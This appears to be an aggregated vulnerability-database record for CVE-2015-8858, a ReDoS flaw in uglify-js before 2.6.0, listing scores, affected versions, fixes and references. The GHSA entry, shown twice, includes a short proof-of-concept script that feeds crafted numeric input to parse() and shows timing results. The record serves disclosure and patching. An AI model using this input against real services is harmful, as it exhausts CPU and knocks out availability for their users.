{"id":"CVE-2015-8858","aliases":["CLSA-2026-1773274555","CLSA-2026-1774225180","CLSA-2026-1774225182","CLSA-2026-1776904629","CLSA-2026-1776904632","DEBIAN-CVE-2015-8858","EUVD-2017-0215","GHSA-c9f4-xj24-8jqx","UBUNTU-CVE-2015-8858"],"status":"published","title":"Regular Expression Denial of Service in uglify-js","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.02358,"percentile":0.83864,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-399"],"published":"2017-01-23T21:00:00Z","modified":"2026-10-15T09:47:27Z","fixes":[{"ecosystem":"npm","package":"uglify-js","fixed_in":["2.6.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"uglifyjs","fixed_in":["2.7.4-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.1-tuxcare.0"},{"fixed":"1.1.1-tuxcare.1"}]}],"versions":["1.1.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.5-tuxcare.0"},{"fixed":"1.3.5-tuxcare.1"}]}],"versions":["1.3.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.6-tuxcare.0"},{"fixed":"2.3.6-tuxcare.1"}]}],"versions":["2.3.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.29-tuxcare.0"},{"fixed":"2.8.29-tuxcare.1"}]}],"versions":["2.8.29"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"uglify-js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.10-tuxcare.0"},{"fixed":"3.4.10-tuxcare.1"}]}],"versions":["3.4.10"],"bundled":2},{"source":"osv","ecosystem":"Debian:13","package":"uglifyjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7.4-1"}]}]},{"source":"osv","ecosystem":"npm","package":"uglify-js","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"uglifyjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.15-4","2.4.15-5"]}],"products":[{"vendor":"uglifyjs_project","product":"uglifyjs"}],"references":[{"url":"http://www.securityfocus.com/bid/96409","tags":["vdb-entry","x_refsource_BID","x_transferred","web"]},{"url":"https://nodesecurity.io/advisories/48","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","evidence"]},{"url":"http://www.openwall.com/lists/oss-security/2016/04/20/11","tags":["mailing-list","x_refsource_MLIST","x_transferred","Mailing List","Third Party Advisory","advisory","article","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2015-8858","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c9f4-xj24-8jqx","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/48","tags":["web"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2015-8858","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2015-8858","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2015-8858","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2015-8858","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T08:29:22.094Z","updated_at":"2026-11-02T14:35:40.900357Z"}],"euvd":[{"id":"EUVD-2017-0215","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T08:29:22Z","updated_at":"2026-11-03T01:57:25.869767Z"}],"ghsa":[{"id":"GHSA-c9f4-xj24-8jqx","title":"Regular Expression Denial of Service in uglify-js","description":"Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.","status":"published","published":"2017-10-24T18:33:36Z","modified":"2023-04-11T00:22:45Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:36:50.476488Z"}],"nvd":[{"id":"CVE-2015-8858","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00.61Z","modified":"2026-06-17T00:35:22.83Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":7.8,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:C","level":"high","assessor":"primary"}],"cwes":["CWE-399"],"updated_at":"2026-11-02T14:03:16.97467Z"}],"osv":[{"id":"CVE-2015-8858","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00Z","modified":"2026-04-10T03:45:35.156465Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:01.068991Z"},{"id":"DEBIAN-CVE-2015-8858","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00.61Z","modified":"2026-09-09T07:02:03.758859182Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:27.04239Z"},{"id":"GHSA-c9f4-xj24-8jqx","title":"Regular Expression Denial of Service in uglify-js","description":"Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.","status":"published","published":"2017-10-24T18:33:36Z","modified":"2023-11-08T03:58:03.623951Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"UBUNTU-CVE-2015-8858","description":"The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00Z","modified":"2025-10-24T04:45:31Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:11.100633Z"},{"id":"CLSA-2026-1773274555","title":"TuxCare security update for uglify-js (2 CVEs)","description":"TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.1.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:27.840440242Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774225180","title":"TuxCare security update for uglify-js (2 CVEs)","description":"TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 1.3.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:00.988532877Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774225182","title":"TuxCare security update for uglify-js (2 CVEs)","description":"TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.3.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:01.633614755Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776904629","title":"TuxCare security update for uglify-js (2 CVEs)","description":"TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 2.8.29-tuxcare.1.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:46.472995525Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1776904632","title":"TuxCare security update for uglify-js (2 CVEs)","description":"TuxCare rebuilt uglify-js to address 2 CVEs. Fixed in 3.4.10-tuxcare.1.","status":"published","published":"2026-08-04T14:52:27Z","modified":"2026-10-15T09:45:47.162905046Z","updated_at":"2026-11-02T15:43:44.384419Z"}]}}
